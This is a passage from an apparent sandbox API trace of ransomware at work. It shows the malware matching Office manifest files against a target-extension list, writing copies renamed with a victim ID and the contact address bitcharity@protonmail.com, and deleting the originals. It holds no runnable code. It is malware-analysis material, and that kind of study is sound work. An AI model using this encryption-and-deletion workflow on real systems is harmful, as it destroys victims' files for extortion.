hTemplateFile=0x0) returned 0x10b8 [0146.769] GetLastError () returned 0x0 [0146.769] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0146.863] WriteFile (in: hFile=0x10b8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0146.864] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.864] WriteFile (in: hFile=0x10b8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.864] SetEndOfFile (hFile=0x10b8) returned 1 [0146.864] CloseHandle (hObject=0x10b8) returned 1 [0146.865] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.865] SetEndOfFile (hFile=0x10d0) returned 1 [0146.866] CloseHandle (hObject=0x10d0) returned 1 [0146.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0146.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.867] lstrlenW (lpString=".doc") returned 4 [0146.867] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.867] lstrlenW (lpString=".docx") returned 5 [0146.867] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.867] lstrlenW (lpString=".pdf") returned 4 [0146.867] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.867] lstrlenW (lpString=".xls") returned 4 [0146.867] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.867] lstrlenW (lpString=".xlsx") returned 5 [0146.867] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.867] lstrlenW (lpString=".ppt") returned 4 [0146.867] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.867] lstrlenW (lpString=".zip") returned 4 [0146.867] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.867] lstrlenW (lpString=".rar") returned 4 [0146.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.867] lstrlenW (lpString=".bz2") returned 4 [0146.867] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.867] lstrlenW (lpString=".7z") returned 3 [0146.867] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.867] lstrlenW (lpString=".dbf") returned 4 [0146.867] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.868] lstrlenW (lpString=".1cd") returned 4 [0146.868] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.868] lstrlenW (lpString=".jpg") returned 4 [0146.868] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.868] lstrlenW (lpString=".doc") returned 4 [0146.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString=".docx") returned 5 [0146.868] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.868] lstrlenW (lpString=".pdf") returned 4 [0146.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString=".xls") returned 4 [0146.868] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString=".xlsx") returned 5 [0146.868] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.868] lstrlenW (lpString=".ppt") returned 4 [0146.868] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.868] lstrlenW (lpString=".zip") returned 4 [0146.868] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.868] lstrlenW (lpString=".rar") returned 4 [0146.868] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString=".bz2") returned 4 [0146.868] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.868] lstrlenW (lpString=".7z") returned 3 [0146.868] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.868] lstrlenW (lpString=".dbf") returned 4 [0146.868] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.869] lstrlenW (lpString=".1cd") returned 4 [0146.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0146.869] lstrlenW (lpString=".jpg") returned 4 [0146.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.869] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.869] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0146.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0146.869] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2147) returned 1 [0146.869] CloseHandle (hObject=0x10d0) returned 1 [0146.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0146.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0146.870] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.870] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0146.870] GetLastError () returned 0x0 [0146.870] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x863, lpOverlapped=0x0) returned 1 [0146.933] WriteFile (in: hFile=0x10b8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x870, lpOverlapped=0x0) returned 1 [0146.934] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.934] WriteFile (in: hFile=0x10b8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.934] SetEndOfFile (hFile=0x10b8) returned 1 [0146.934] CloseHandle (hObject=0x10b8) returned 1 [0146.937] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.937] SetEndOfFile (hFile=0x10d0) returned 1 [0146.938] CloseHandle (hObject=0x10d0) returned 1 [0146.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0146.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.938] lstrlenW (lpString=".doc") returned 4 [0146.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString=".docx") returned 5 [0146.939] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.939] lstrlenW (lpString=".pdf") returned 4 [0146.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString=".xls") returned 4 [0146.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString=".xlsx") returned 5 [0146.939] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.939] lstrlenW (lpString=".ppt") returned 4 [0146.939] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.939] lstrlenW (lpString=".zip") returned 4 [0146.939] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.939] lstrlenW (lpString=".rar") returned 4 [0146.939] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString=".bz2") returned 4 [0146.939] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString=".7z") returned 3 [0146.939] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.939] lstrlenW (lpString=".dbf") returned 4 [0146.939] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.939] lstrlenW (lpString=".1cd") returned 4 [0146.939] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.939] lstrlenW (lpString=".jpg") returned 4 [0146.939] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.940] lstrlenW (lpString=".doc") returned 4 [0146.940] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString=".docx") returned 5 [0146.940] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.940] lstrlenW (lpString=".pdf") returned 4 [0146.940] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString=".xls") returned 4 [0146.940] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString=".xlsx") returned 5 [0146.940] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.940] lstrlenW (lpString=".ppt") returned 4 [0146.940] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.940] lstrlenW (lpString=".zip") returned 4 [0146.940] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.940] lstrlenW (lpString=".rar") returned 4 [0146.940] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString=".bz2") returned 4 [0146.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString=".7z") returned 3 [0146.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.940] lstrlenW (lpString=".dbf") returned 4 [0146.940] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.940] lstrlenW (lpString=".1cd") returned 4 [0146.940] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0146.941] lstrlenW (lpString=".jpg") returned 4 [0146.941] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.941] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.941] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0146.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0146.941] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2147) returned 1 [0146.941] CloseHandle (hObject=0x10d0) returned 1 [0146.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0146.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0146.942] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0146.942] GetLastError () returned 0x0 [0146.942] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x863, lpOverlapped=0x0) returned 1 [0147.037] WriteFile (in: hFile=0x10b8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x870, lpOverlapped=0x0) returned 1 [0147.038] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.038] WriteFile (in: hFile=0x10b8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.038] SetEndOfFile (hFile=0x10b8) returned 1 [0147.038] CloseHandle (hObject=0x10b8) returned 1 [0147.039] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.039] SetEndOfFile (hFile=0x10d0) returned 1 [0147.040] CloseHandle (hObject=0x10d0) returned 1 [0147.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0147.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.041] lstrlenW (lpString=".doc") returned 4 [0147.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString=".docx") returned 5 [0147.041] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.041] lstrlenW (lpString=".pdf") returned 4 [0147.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString=".xls") returned 4 [0147.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString=".xlsx") returned 5 [0147.041] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.041] lstrlenW (lpString=".ppt") returned 4 [0147.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.041] lstrlenW (lpString=".zip") returned 4 [0147.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.041] lstrlenW (lpString=".rar") returned 4 [0147.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString=".bz2") returned 4 [0147.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString=".7z") returned 3 [0147.041] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.041] lstrlenW (lpString=".dbf") returned 4 [0147.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.041] lstrlenW (lpString=".1cd") returned 4 [0147.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.041] lstrlenW (lpString=".jpg") returned 4 [0147.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.042] lstrlenW (lpString=".doc") returned 4 [0147.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString=".docx") returned 5 [0147.042] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.042] lstrlenW (lpString=".pdf") returned 4 [0147.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString=".xls") returned 4 [0147.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString=".xlsx") returned 5 [0147.042] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.042] lstrlenW (lpString=".ppt") returned 4 [0147.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.042] lstrlenW (lpString=".zip") returned 4 [0147.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.042] lstrlenW (lpString=".rar") returned 4 [0147.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString=".bz2") returned 4 [0147.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString=".7z") returned 3 [0147.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.042] lstrlenW (lpString=".dbf") returned 4 [0147.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.042] lstrlenW (lpString=".1cd") returned 4 [0147.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0147.042] lstrlenW (lpString=".jpg") returned 4 [0147.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.043] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.043] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0147.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.043] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=215883) returned 1 [0147.043] CloseHandle (hObject=0x10d0) returned 1 [0147.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0147.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 